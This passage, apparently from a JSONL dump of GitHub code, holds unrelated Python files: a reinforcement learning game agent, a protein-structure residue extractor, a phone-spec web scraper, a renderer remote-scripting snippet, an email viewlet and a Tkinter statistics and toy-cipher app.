Get critic weights\r\n\r\n self.actual = tf.placeholder(tf.float32, [1])\r\n self.loss = losses.mean_squared_error(self.actual, self.critic.output)\r\n self.critic_grad = tf.gradients(self.loss, self.critic_weights)\r\n # Get the gradient of the reward with respect to the critic's weights\r\n\r\n self.actor_output = self.actor.output\r\n # Get output of actor for getAction()\r\n self.critic_output = self.critic.output\r\n # Get output of critic for TD Error\r\n\r\n self.eval_grad = tf.placeholder(tf.float32)\r\n\r\n self.subtract = []\r\n for num in range(len(self.critic_weights)):\r\n self.subtract.append(tf.assign_sub(self.critic_weights[num], self.critic_learning_rate * self.eval_grad * self.td_error))\r\n # Apply gradients to the critic\r\n\r\n self.sess.run(tf.compat.v1.initialize_all_variables())\r\n # Initialize the session\r\n\r\n def create_actor(self):\r\n state_input = Input(shape=(194,))\r\n activation = LeakyReLU(alpha=0.05)(state_input)\r\n h1 = Dense(24)(activation)\r\n activation1 = LeakyReLU(alpha=0.05)(h1)\r\n h2 = Dense(48)(activation1)\r\n activation2 = LeakyReLU(alpha=0.05)(h2)\r\n h3 = Dense(24)(activation2)\r\n activation1 = LeakyReLU(alpha=0.05)(h3)\r\n action_output = Dense(units=1)(activation1)\r\n model = Model(input=state_input, output=action_output)\r\n adam = Adam(lr=0.001)\r\n model.compile(loss='mse', optimizer=adam)\r\n return state_input, model\r\n\r\n def create_critic(self):\r\n state_input = Input(shape=(194,))\r\n activation = LeakyReLU(alpha=0.05)(state_input)\r\n state_h1 = Dense(24)(activation)\r\n state_h2 = Dense(48)(state_h1)\r\n\r\n action_input = Input(shape=(1,))\r\n action_h1 = Dense(48)(action_input)\r\n\r\n merged = concatenate([state_h2, action_h1], axis=1)\r\n activation1 = LeakyReLU(alpha=0.05)(merged)\r\n merged_h1 = Dense(24)(activation1)\r\n activation2 = LeakyReLU(alpha=0.05)(merged_h1)\r\n reward_output = Dense(1)(activation2)\r\n\r\n model = Model(input=[state_input, action_input], output=reward_output)\r\n\r\n adam = Adam(lr=0.005)\r\n model.compile(loss=\"mse\", optimizer=adam)\r\n return state_input, action_input, model\r\n\r\n def train_actor(self):\r\n grads = self.sess.run(self.critic_action_grad, feed_dict={self.critic_state: self.current_state, self.critic_action: self.current_action})[0]\r\n # Calculates how changes to the action impact the reward given by the critic\r\n\r\n self.sess.run(self.optimize, feed_dict={self.actor_state: self.current_state, self.actor_crit_grad: grads})\r\n # Takes a gradient ascent step (Maximize Reward)\r\n\r\n def train_critic(self):\r\n evaluated_gradients = self.sess.run(self.critic_grad, feed_dict={self.actual: self.next_reward, self.critic_state: self.current_state, self.critic_action: self.current_action})\r\n # Calculates that gradient with current state action pair\r\n\r\n for j in range(len(self.critic_weights)): # Loop through each layer in the critic model\r\n self.sess.run(self.subtract[j], feed_dict={self.eval_grad: evaluated_gradients[j]})\r\n # Takes a gradient descent step (Minimize Loss)\r\n\r\n def getAction(self, state):\r\n if random.random() < self.epsilon: # Epsilon Greedy Policy\r\n if self.epsilon > 0.05:\r\n self.epsilon *= .9995 # Decay over time\r\n action = random.uniform(-math.pi + .1, 0 - .1)\r\n action = np.array(action).astype('float32').reshape((-1, 1))\r\n else:\r\n action = self.sess.run(self.actor_output, feed_dict={self.actor_state: state})\r\n # Get action from Actor model\r\n if abs(action) > 100000:\r\n # Restart if weights blow up\r\n self.fail = True\r\n return action\r\n\r\n def takeAction(self, direction): # Interact with the simulation to produce reward and state\r\n state, end = self.simulation.SetTheta(direction, self.d)\r\n if self.simulation.level == 100:\r\n # Beat the game\r\n reward = 1000\r\n end = True\r\n elif end:\r\n # Lost the game\r\n self.level = self.simulation.level\r\n reward = - 1000 / self.simulation.level\r\n else:\r\n # Played a turn\r\n reward = self.simulation.blocks_destroyed\r\n reward = np.array(reward).astype('float32').reshape(1)\r\n return reward, state, end\r\n\r\n def draw(self):\r\n if self.d:\r\n self.d = False\r\n else:\r\n self.d = True\r\n\r\n def step(self):\r\n self.last_action = np.array(self.current_action).astype('float32').reshape(-1, 1) # Store last action\r\n self.current_action = self.getAction(self.current_state) # Get an action from the policy pi\r\n self.next_reward, self.next_state, end = self.takeAction(self.current_action) # Store next state and reward and death from taking that action\r\n nextval = self.sess.run(self.critic_output, feed_dict={self.critic_state: self.next_state, self.critic_action: self.current_action})\r\n val = self.sess.run(self.critic_output, feed_dict={self.critic_state: self.current_state, self.critic_action: self.last_action})\r\n # Calculate critic output to see how far off it is\r\n self.td_error = self.next_reward - self.average_reward + nextval - val\r\n # Calculate how far off actor-critic's guesses are\r\n self.average_reward = self.average_reward + self.reward_alpha * self.td_error\r\n self.average_reward = np.array(self.average_reward).astype('float32').reshape(1)\r\n self.train_actor() # Train the actor\r\n self.train_critic() # Train the critic\r\n self.current_state = self.next_state # Reset current state\r\n return end\r\n\r\n def start(self):\r\n # Set up simulation\r\n self.simulation = Game.Run()\r\n self.current_state = np.reshape(self.simulation.state, (1, 192))\r\n self.current_state = np.append(self.simulation.state, .5)\r\n self.current_state = np.append(self.current_state, 1)\r\n self.current_state = self.current_state.astype('float32').reshape((-1, 194))\r\n\r\n def save(self):\r\n # Save model and level record\r\n self.actor.save('actor_2.h5')\r\n np.savetxt('X_1.txt', X)\r\n np.savetxt('y_1.txt', y)\r\n self.critic.save('critic_2.h5')\r\n\r\n def load(self):\r\n # Load the model\r\n self.actor = tf.keras.models.load_model('actor_1.h5')\r\n self.actor_weights = self.actor.trainable_weights\r\n self.critic = tf.keras.models.load_model('critic_1.h5')\r\n self.critic_weights = self.critic.trainable_weights\r\n self.start()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n AC = ActorCritic()\r\n AC.start()\r\n terminal = False\r\n running = True\r\n X = []\r\n y = []\r\n count = -1\r\n # Create new model\r\n\r\n while running:\r\n count += 1\r\n if AC.fail:\r\n # If weights blow up, restart model\r\n AC = ActorCritic()\r\n AC.start()\r\n terminal = False\r\n running = True\r\n X = []\r\n y = []\r\n if not terminal:\r\n # If a game doesn't end, play a turn\r\n terminal = AC.step()\r\n else:\r\n # If a game ends, record the level achieved and restart\r\n terminal = False\r\n X.append(len(X)+1)\r\n y.append(AC.level)\r\n AC.start()\r\n\r\n for event in pygame.event.get(): # Exit game\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_SPACE:\r\n # Press space to toggle redraw\r\n AC.draw()\r\n\r\n if event.key == pygame.K_RETURN:\r\n # Press enter to save\r\n AC.save()\r\n\r\n if event.key == pygame.K_TAB:\r\n # Press tab to load\r\n AC.load()\r\n\r\n if event.key == pygame.K_0:\r\n # Press zero to graph level record\r\n yvalues = []\r\n sumy = 0\r\n divider = int(len(X) / 200) + 1\r\n for i in range(len(X)):\r\n sumy += y[i]\r\n if i % divider == 0:\r\n yvalues.append(sumy / divider)\r\n sumy = 0\r\n if yvalues[0] < 9:\r\n yvalues.remove(yvalues[0])\r\n plt.plot(yvalues, 'o', color='black', markersize=2)\r\n plt.show()\r\n\r\n if event.type == pygame.QUIT:\r\n # Press exit to quit\r\n running = False\r\n\r\n","repo_name":"ericenouen/99-balls","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":10960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"3917815984","text":"from Bio.PDB import PDBParser, Selection\n\n# Parse the PDB file\nparser = PDBParser()\nstructure = parser.get_structure(\"EGFR\", \"PDB_Model/1nql.pdb\")\n\n# Select the chain and residue range for the kinase domain\nchain = structure[0]['A']\nstart_res = 670\nend_res = 998\n\n# Define the selection function to extract the residues in the kinase domain\n\n\ndef select_kinase(residue):\n if residue.get_id()[1] >= start_res and residue.get_id()[1] <= end_res:\n return True\n else:\n return False\n\n\n# Use the Selection module to extract the kinase residues\nkinase_residues = Selection.unfold_entities(chain, 'R')\nkinase_residues = list(filter(select_kinase, kinase_residues))\n\n# Print the list of kinase residues\nprint(\"Kinase Residues:\")\nfor residue in kinase_residues:\n print(residue.get_resname(), residue.get_id()[1])\n","repo_name":"VedhRKannan/Mathematic-Models-for-Cancer-Therapies","sub_path":"PDB_Model/binding_site.py","file_name":"binding_site.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"4284441461","text":"import requests,time,random\nfrom bs4 import BeautifulSoup\n\ndef gettype(line):\n header = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.3051.400 QQBrowser/9.6.11301.400'}\n re=requests.get('http://www.baidu.com/s?ie=UTF-8&wd='+line,headers=header)\n re.encoding='utf-8'\n soup=BeautifulSoup(re.content,'html.parser')\n # print(soup)\n outfile = open('E://机型//1.txt', 'a')\n digitals = soup.find_all('div', 'ecl-pc-digital-overflow')\n if digitals != []:\n for d in digitals:\n try:\n if d.find('span',attrs={'class':'c-gray'}).text=='主屏:':\n type=d.text[4:-1].strip()\n if type[-1]=='像':\n type=type[:-2]\n if type[-2:]=='像素':\n type = type[:-3]\n if type[-3:]=='108' or type[-3:]=='144' or type[-2:]=='72' or type[-2:]=='54' or type[-2:]=='32' or type[-2:]=='64':\n type=str(type)+str('0')\n with open('E://机型//1.txt', 'a') as outfile:\n outfile.write(line.strip()+','+type+'\\n')\n print(line.strip()+','+type)\n break\n except:\n with open('E://机型//1.txt', 'a') as outfile:\n outfile.write(line.strip() + ',' + '\\n')\n print(line.strip() + ',')\n break\n\n else:\n with open('E://机型//1.txt', 'a') as outfile:\n outfile.write(line.strip() + ',' + '\\n')\n print(line.strip() + ',' )\n\nwith open('E://机型//机型.txt') as f:\n for i in range(1500):\n line=f.readline()\n gettype(line)\n time.sleep(1)\n\n","repo_name":"ltang93/python","sub_path":"swt/屏幕分辨率信息.py","file_name":"屏幕分辨率信息.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"38714257090","text":"#\n# status: Working :)\nimport sys\nimport clarisse_net as ix\n\nrclarisse = ix.ClarisseNet('gaf',55000)\n\n# rclarisse.connect('',55000)\n\nrclarisse.run('print \"REMOTE Hello World!\"')\n\n\nrclarisse.run('print \"This is great I can send stuff to my clarisse :) wow that is too much\"')\n\n# @a Creating a Sphere\nrclarisse.run('ix.cmds.CreateObject(\"polysphere_created_remotely\", \"GeometryPolysphere\")')\nix.cmds.DisableItems([\"project://scene/polysphere_created_remotely\"], True)\n","repo_name":"GuillaumeVFX/pipel","sub_path":"clarisse/x_clarisse_remote_commanding_190902.py","file_name":"x_clarisse_remote_commanding_190902.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"12293069110","text":"from __future__ import absolute_import, unicode_literals\nfrom zope.cachedescriptors.property import Lazy\nfrom gs.group.list.email.text.files import FilesViewlet\nfrom gs.group.messages.base import file_size_format\n\n\nclass FilesListViewlet(FilesViewlet):\n 'The viewlet for the the prologue when there are no files'\n\n @Lazy\n def post(self):\n retval = self.context.post\n return retval\n\n @Lazy\n def show(self):\n retval = self.n > 0\n return retval\n\n @staticmethod\n def file_size_format(bytes):\n \"\"\"Returns a humanized string for a given amount of bytes\"\"\"\n retval = file_size_format(bytes)\n return retval\n","repo_name":"groupserver/gs.group.list.email.html","sub_path":"gs/group/list/email/html/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21643471454","text":"import random\r\nimport os\r\nfrom tkinter import *\r\nfrom tkinter.filedialog import askopenfilename\r\nfrom plotly.tools import FigureFactory as FF\r\nimport scipy\r\nfrom scipy import stats\r\nimport plotly\r\nimport plotly.graph_objs as go\r\nimport numpy as np\r\n\r\nclass Data():\r\n \"\"\"Main program class\"\"\"\r\n def __init__(self):\r\n \"\"\"Creates a window that allows the user to select default data or to\r\n create their own\"\"\"\r\n\r\n self.dataWin = Tk()\r\n self.dataWin.title(\"Data\")\r\n self.dataA = []\r\n self.dataB = []\r\n self.data1 = StringVar()\r\n self.data2 = StringVar()\r\n self.var = BooleanVar()\r\n\r\n labelPad = Label(self.dataWin, text=\"\\t\\t\")\r\n labelPad.grid(row=0, column = 1)\r\n\r\n label1 = Label(self.dataWin, text=\"Select Data:\")\r\n label1.grid(row=0, column=0)\r\n\r\n buttonDef1 = Button(self.dataWin, text=\"Default 1\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.premadeData(\"1\"))\r\n buttonDef1.grid(row=0, column=1)\r\n\r\n buttonDef2 = Button(self.dataWin, text=\"Default 2\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.premadeData(\"2\"))\r\n buttonDef2.grid(row=1, column=1)\r\n\r\n buttonDef3 = Button(self.dataWin, text=\"Default 3\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.premadeData(\"3\"))\r\n buttonDef3.grid(row=2, column=1)\r\n\r\n buttonData1 = Button(self.dataWin, text=\"Create Data\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=self.getData)\r\n buttonData1.grid(row=3, column=1)\r\n\r\n\r\n def premadeData(self, opt):\r\n \"\"\"Default Data\"\"\"\r\n if opt == \"1\":\r\n self.dataA = [25, 22, 19, 25, 24, 25, 24, 23, 21, 27, 29, 26, 30, 27, 26, 23]\r\n self.dataB = [22, 21, 24, 27, 19, 23, 17]\r\n\r\n elif opt == \"2\":\r\n self.dataA = [10, 40, 60, 24, 54, 14, 20, 23, 10, 20, 32, 20, 43, 76]\r\n self.dataB = [20, 50, 74, 12, 23, 54, 76, 98, 23, 65, 10, 32, 50, 90]\r\n\r\n elif opt == \"3\":\r\n self.dataA = [10, 40, 60, 2, 5, 1, 20, 3, 10, 20, 3, 20, 4, 7]\r\n self.dataB = [20, 50, 7, 12, 3, 5, 7, 9, 23, 6, 10, 3, 50, 90]\r\n\r\n\r\n self.analysis()\r\n\r\n\r\n def getData(self):\r\n \"\"\"Creates a window where the user can input their own data\"\"\"\r\n self.dataA = []\r\n self.dataB = []\r\n\r\n self.getWin = Toplevel()\r\n self.getWin.title(\"Get Data\")\r\n\r\n labelData1 = Label(self.getWin, text = \"Data 1: \")\r\n labelData1.grid(row=0, column=0)\r\n\r\n labelData2 = Label(self.getWin, text=\"Data 2: \")\r\n labelData2.grid(row=1, column=0)\r\n\r\n userInputEntry1 = Entry(self.getWin, textvariable=self.data1,\r\n width=10, relief=RAISED)\r\n userInputEntry1.grid(row=0, column=1)\r\n userInputEntry1.bind(\"\", lambda event: self.addData(\"1\"))\r\n\r\n userInputEntry2 = Entry(self.getWin, textvariable=self.data2,\r\n width=10, relief=RAISED)\r\n userInputEntry2.grid(row=1, column=1)\r\n userInputEntry2.bind(\"\", lambda event: self.addData(\"2\"))\r\n\r\n buttonDone = Button(self.getWin, text=\"Done\",\r\n command=self.quitAndAnalyze)\r\n buttonDone.grid(row=2, column=0)\r\n\r\n return\r\n\r\n def quitAndAnalyze(self):\r\n \"\"\"Initializes the analysis\"\"\"\r\n self.getWin.destroy()\r\n self.analysis()\r\n\r\n def addData(self, opt):\r\n \"\"\"Appends the input data to the data lists\"\"\"\r\n if opt == \"1\":\r\n self.dataA.append(int(self.data1.get()))\r\n self.data1.set(\"\")\r\n elif opt == \"2\":\r\n self.dataB.append(int(self.data2.get()))\r\n self.data2.set(\"\")\r\n\r\n return\r\n\r\n def analysis(self):\r\n \"\"\"Creates a window where the user can choose what type of analysis\r\n they want to perform\"\"\"\r\n self.analysisWin = Toplevel()\r\n self.analysisWin.title(\"Analysis\")\r\n\r\n buttonTtest = Button(self.analysisWin,\r\n text=\"2 Sample T-Test\", padx=5,\r\n command=self.tTest)\r\n buttonTtest.grid(row=0, column=0)\r\n\r\n buttonRegression = Button(self.analysisWin,\r\n text=\"Linear Regression\", padx=5,\r\n command=self.linearRegression)\r\n buttonRegression.grid(row=0, column=1)\r\n\r\n buttonKeyStats = Button(self.analysisWin,\r\n text=\"Key Statistics\", padx=5,\r\n command=self.keyStats)\r\n buttonKeyStats.grid(row=0, column=2)\r\n\r\n buttonDone = Button(self.analysisWin,\r\n text=\"Quit and Encrypt\", pady=5,\r\n command=self.quitAndEncrypt)\r\n buttonDone.grid(row=1, column=1)\r\n\r\n def quitAndEncrypt(self):\r\n \"\"\"Initializes the encryption\"\"\"\r\n self.analysisWin.destroy()\r\n Cipher()\r\n\r\n def tTest(self):\r\n \"\"\"Gets 2 data sets as input and does a t-test. It prints important\r\n statistics and returns a table and a graph, along with an\r\n appropriate confusion (string).\"\"\"\r\n\r\n t_value, p_value = scipy.stats.ttest_ind(self.dataA, self.dataB)\r\n\r\n matrix_twosample = [\r\n\r\n ['', 'Test Statistic', 'p-value'],\r\n ['Sample Data', t_value, p_value]\r\n\r\n ]\r\n\r\n twosample_table = FF.create_table(matrix_twosample, index=True)\r\n\r\n plotly.offline.plot(twosample_table, filename='twosample-table.html')\r\n\r\n if p_value < 0.001:\r\n\r\n newText = \"Given a t-statistic value of \" + str(t_value) + \\\r\n \", if there were no difference in the means of the two data sets, \" + \\\r\n \"a difference this large would occur only \" + str(p_value * 100) + \"% of the time. \" + \\\r\n \"That’s too rare to believe, so I reject the null hypothesis and accept the alternate hypothesis that there is a difference in the means.\"\r\n\r\n else:\r\n\r\n newText = \"Given a t-statistic value of \" + str(t_value) + \\\r\n \", if there were no difference in the means of the two data sets, \" + \\\r\n \"a difference this large would occur \" + str(p_value * 100) + \"% of the time. \" + \\\r\n \"That’s common enough to believe, so I reject the alternate hypothesis and accept the null hypothesis that there is no difference in means.\"\r\n\r\n i = str(random.randrange(1, 100))\r\n file = open(\"Ttest\" + i + \".txt\", \"w\")\r\n print(\"Created: Ttest\" + i + \".txt\")\r\n file.write(newText)\r\n file.close()\r\n\r\n return\r\n\r\n def linearRegression(self):\r\n \"\"\"Receives two data sets of equal length and calculates the correlation coefficient and the p-value.\r\n It generates a conclusion based on the two values.\"\"\"\r\n x = self.dataA\r\n y = self.dataB\r\n\r\n slope, intercept, r_value, p_value, std_err = stats.linregress(x, y)\r\n line = slope * x + intercept\r\n\r\n trace1 = go.Scatter(\r\n\r\n x=x,\r\n y=y,\r\n mode=\"markers\",\r\n marker=go.Marker(color=\"rgb(255, 127, 14)\"),\r\n name=\"Data\"\r\n\r\n )\r\n\r\n layout = go.Layout(\r\n\r\n title=\"Scatterplot of data1 and data2\",\r\n plot_bgcolor=\"rgb(250, 250, 250)\",\r\n xaxis=go.XAxis(zerolinecolor=\"rgb(255,255,255)\", gridcolor=\"rgb(255,255,255)\"),\r\n yaxis=go.YAxis(zerolinecolor=\"rgb(255,255,255)\", gridcolor=\"rgb(255,255,255)\"),\r\n\r\n )\r\n\r\n data = [trace1]\r\n fig = go.Figure(data=data, layout=layout)\r\n\r\n plotly.offline.plot(fig, filename=\"Scatterplot-of-data1-and-data2.html\")\r\n\r\n newText = \"The correlation coefficient between data1 and data2 is \" + str(r_value) + \\\r\n \"and the p-value is \" + str(p_value) + \". \" \\\r\n \"The equation for the line of best fit that minimizes the sum of the residuals is: \" + \\\r\n \"y = \" + str(slope) + \"x + \" + str(intercept) + \".\"\r\n\r\n i = str(random.randrange(1, 100))\r\n file = open(\"Regression\" + i + \".txt\", \"w\")\r\n print(\"Created: Regression\" + i + \".txt\")\r\n file.write(newText)\r\n file.close()\r\n return\r\n\r\n def keyStats(self):\r\n \"\"\"Receives two data sets and calculates the mean, median, standard deviation, minimum and maximum of each.\"\"\"\r\n mean1 = np.mean(self.dataA)\r\n st_dev1 = np.std(self.dataA)\r\n median1 = np.median(self.dataA)\r\n maximum1 = np.max(self.dataA)\r\n minimum1 = np.min(self.dataA)\r\n\r\n newText = \"The median of data 1 is \" + str(median1) + \\\r\n \"\\nThe maximum of data 1 is \" + str(maximum1) + \\\r\n \"\\nThe minimum of data 1 is \" + str(minimum1) + \\\r\n \"\\nThe mean of data 1 is \" + str(mean1) + \\\r\n \"\\nThe standard deviation of data 1 is \" + str(st_dev1)\r\n\r\n mean2 = np.mean(self.dataB)\r\n st_dev2 = np.std(self.dataB)\r\n median2 = np.median(self.dataB)\r\n maximum2 = np.max(self.dataB)\r\n minimum2 = np.min(self.dataB)\r\n\r\n newText2 = \"\\n\\nThe median of data 2 is \" + str(median2) + \\\r\n \"\\nThe maximum of data 2 is \" + str(maximum2) + \\\r\n \"\\nThe minimum of data 2 is \" + str(minimum2) + \\\r\n \"\\nThe mean of data 2 is \" + str(mean2) + \\\r\n \"\\nThe standard deviation of data 2 is \" + str(st_dev2)\r\n\r\n i = str(random.randrange(1, 100))\r\n file = open(\"KeyStats\" + i + \".txt\", \"w\")\r\n print(\"Created: KeyStats\" + i + \".txt\")\r\n file.write(newText + newText2)\r\n file.close()\r\n\r\n def go(self):\r\n \"\"\"Mainloop function. Root window\"\"\"\r\n self.dataWin.mainloop()\r\n return\r\n\r\nclass Cipher():\r\n \"\"\"Main encryption class\"\"\"\r\n def __init__(self):\r\n \"\"\"Creates a window where the user can choose between encrypting\r\n or encrypting\"\"\"\r\n self.cipherWin = Tk()\r\n self.cipherWin.title(\"Cipher\")\r\n\r\n self.key = StringVar()\r\n self.var = BooleanVar()\r\n\r\n welcome = Label(self.cipherWin,\r\n text=\"Welcome to Cipher!\",\r\n font=\"Arial 15\", padx=5, pady=5)\r\n welcome.grid(row=0, column=1)\r\n\r\n buttonEncrypt = Button(self.cipherWin, text=\"Encrypt\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width = 20,\r\n command=self.encrypt)\r\n buttonEncrypt.grid(row=1, column=0)\r\n\r\n buttonDecrypt = Button(self.cipherWin, text=\"Decrypt\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=20,\r\n command=self.decrypt)\r\n buttonDecrypt.grid(row=1, column=2)\r\n\r\n buttonQuit = Button(self.cipherWin, text=\"Quit\",\r\n font=\"Arial 10\", padx=5, pady=5,\r\n command=self.quit)\r\n buttonQuit.grid(row=2,column=1)\r\n\r\n def encrypt(self):\r\n \"\"\"Opens a window where the user can choose the file to encrypt.\r\n It then proceeds to encrypt it\"\"\"\r\n file = open(pickAFile())\r\n encryption = Encryption(file)\r\n encryption.wait()\r\n print(\"Encrypted\")\r\n return\r\n\r\n def decrypt(self):\r\n \"\"\"Opens a window where the user can choose the file to decrypt.\r\n It then proceeds to decrypt it. It also determines if the file was encrypted\r\n using caesar, vigenere, custom or random\"\"\"\r\n file = open(pickAFile())\r\n opt = file.read(1)\r\n key = file.readline()[:-1]\r\n\r\n if opt == \"c\":\r\n decryptCaesar(file, key)\r\n elif opt == \"v\":\r\n decryptVigenere(file, key)\r\n elif opt == \"u\":\r\n decryptCustom(file, key)\r\n elif opt == \"r\":\r\n decryptCustom(file, key)\r\n else:\r\n print(\"Invalid Selection\")\r\n\r\n print(\"Decrypted\")\r\n\r\n def wait(self):\r\n \"\"\"Wait function for synchronization\"\"\"\r\n self.cipherWin.wait_window(self.cipherWin)\r\n\r\n def quit(self):\r\n \"\"\"Close window function\"\"\"\r\n self.cipherWin.destroy()\r\n\r\nclass Encryption():\r\n def encryptButtons(self, file):\r\n \"\"\"Initializes the buttons of encryptWin\"\"\"\r\n buttonCaesar = Button(self.encryptWin, text=\"Caesar\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.selectEncryption(\"1\", file))\r\n buttonCaesar.grid(row=0, column=1)\r\n\r\n buttonVigenere = Button(self.encryptWin, text=\"Vigenere\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.selectEncryption(\"2\", file))\r\n buttonVigenere.grid(row=1, column=1)\r\n\r\n buttonCustom = Button(self.encryptWin, text=\"Custom\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.selectEncryption(\"3\", file))\r\n buttonCustom.grid(row=2, column=1)\r\n\r\n buttonRandom = Button(self.encryptWin, text=\"Random\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.selectEncryption(\"4\", file))\r\n buttonRandom.grid(row=3, column=1)\r\n\r\n def __init__(self, file):\r\n \"\"\"Creates a window where the user can choose the type of encryption to use\"\"\"\r\n self.encryptWin = Tk()\r\n self.encryptWin.title(\"Encryption\")\r\n\r\n self.key = StringVar()\r\n self.var = BooleanVar()\r\n\r\n label1 = Label(self.encryptWin,\r\n text=\"Encryption:\",\r\n padx=5, pady=5)\r\n label1.grid(row=0, column=0)\r\n\r\n self.encryptButtons(file)\r\n\r\n def getKey(self):\r\n \"\"\"Creates a window where the user can input the key to use in caesor or vigenere\"\"\"\r\n self.keyWin = Toplevel()\r\n self.keyWin.title(\"Key\")\r\n\r\n keyLabel = Label(self.keyWin, text=\"Key:\",\r\n padx = 5, pady = 5)\r\n keyLabel.grid(row=0, column=0)\r\n\r\n userInputEntry = Entry(self.keyWin, textvariable=self.key,\r\n width=10, relief=RAISED)\r\n userInputEntry.grid(row=0, column=3)\r\n\r\n userInputEntry.bind(\"\", self.regKey)\r\n userInputEntry.bind(\"\", self.regKey)\r\n\r\n def getCustomKey(self):\r\n \"\"\"Opens a window where the user can choose between defaults keys\r\n or creating their own\"\"\"\r\n self.customKeyWin = Toplevel()\r\n\r\n labelKey = Label(self.customKeyWin, text=\"Select a key:\",\r\n padx = 5, pady = 5)\r\n labelKey.grid(row=0, column=0)\r\n\r\n button1 = Button(self.customKeyWin, text=\"Key #1\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.premadeKey(\"1\"))\r\n button1.grid(row=0, column=1)\r\n\r\n button2 = Button(self.customKeyWin, text=\"Key #2\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.premadeKey(\"2\"))\r\n button2.grid(row=1, column=1)\r\n\r\n button3 = Button(self.customKeyWin, text=\"Key #3\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=lambda: self.premadeKey(\"3\"))\r\n button3.grid(row=2, column=1)\r\n\r\n buttonCreate = Button(self.customKeyWin, text=\"Create a key\",\r\n font=\"Arial 12\", padx=5, pady=5,\r\n width=10,\r\n command=self.createKey)\r\n buttonCreate.grid(row=3, column=1)\r\n\r\n def premadeKey(self, opt):\r\n \"\"\"Default keys\"\"\"\r\n global customKey\r\n if opt == \"1\":\r\n customKey = {'a': 'n', 'b': 'o', 'c': 'p', 'd': 'q', 'e': 'r', 'f': 's', 'g': 't', 'h': 'u', 'i': 'v', 'j': 'w',\r\n 'k': 'x', 'l': 'y', 'm': 'z', 'n': 'a', 'o': 'b', 'p': 'c', 'q': 'd', 'r': 'e', 's': 'f', 't': 'g',\r\n 'u': 'h', 'v': 'i', 'w': 'j', 'x': 'k', 'y': 'l', 'z': 'm',\r\n '0': '6', '1': '9', '2': '5', '3': '2', '4': '7', '5': '0', '6': '8', '7': '3', '8': '4', '9': '1'}\r\n\r\n elif opt == \"2\":\r\n customKey = {'a': 'q', 'b': 'w', 'c': 'e', 'd': 'r', 'e': 't', 'f': 'y', 'g': 'u', 'h': 'i', 'i': 'o', 'j': 'p',\r\n 'k': 'a', 'l': 's', 'm': 'd', 'n': 'f', 'o': 'g', 'p': 'h', 'q': 'j', 'r': 'k', 's': 'l', 't': 'z',\r\n 'u': 'x', 'v': 'c', 'w': 'v', 'x': 'b', 'y': 'n', 'z': 'm',\r\n '0': '1', '1': '0', '2': '2', '3': '9', '4': '3', '5': '8', '6': '4', '7': '7', '8': '5', '9': '6'}\r\n\r\n elif opt == \"3\":\r\n customKey = {'a': 'm', 'b': 'n', 'c': 'b', 'd': 'v', 'e': 'c', 'f': 'x', 'g': 'z', 'h': 'l', 'i': 'k', 'j': 'j',\r\n 'k': 'h', 'l': 'g', 'm': 'f', 'n': 'd', 'o': 's', 'p': 'a', 'q': 'p', 'r': 'o', 's': 'i', 't': 'u',\r\n 'u': 'y', 'v': 't', 'w': 'r', 'x': 'e', 'y': 'w', 'z': 'q',\r\n '0': '5', '1': '6', '2': '4', '3': '7', '4': '3', '5': '8', '6': '2', '7': '9', '8': '1', '9': '0'}\r\n\r\n\r\n self.customKeyWin.destroy()\r\n\r\n def createKeyEntries(self):\r\n \"\"\"Creates arrays of entries for the custom key\"\"\"\r\n charLeft = []\r\n charRight = []\r\n numLeft = []\r\n numRight = []\r\n self.entries = 36\r\n\r\n for i in range(13):\r\n charLeft.append(Entry(self.inputKey, width=10))\r\n charLeft[i].grid(row=i, column=1)\r\n charLeft[i].bind(\"\",\r\n lambda event, entry = charLeft[i], char = chr(i + 97): self.cusKey(entry, char))\r\n charLeft[i].bind(\"\",\r\n lambda event, entry = charLeft[i], char = chr(i + 97): self.cusKey(entry, char))\r\n\r\n for i in range(13):\r\n charRight.append(Entry(self.inputKey, width=10))\r\n charRight[i].grid(row=i, column=3)\r\n charRight[i].bind(\"\",\r\n lambda event, entry = charRight[i], char = chr(i + 110): self.cusKey(entry, char))\r\n charRight[i].bind(\"\",\r\n lambda event, entry = charRight[i], char = chr(i + 110): self.cusKey(entry, char))\r\n\r\n for i in range(5):\r\n numLeft.append(Entry(self.inputKey, width=10))\r\n numLeft[i].grid(row=i+14, column=1)\r\n numLeft[i].bind(\"\",\r\n lambda event, entry = numLeft[i], char = chr(i + 48): self.cusKey(entry, char))\r\n numLeft[i].bind(\"\",\r\n lambda event, entry = numLeft[i], char = chr(i + 48): self.cusKey(entry, char))\r\n\r\n for i in range(5):\r\n 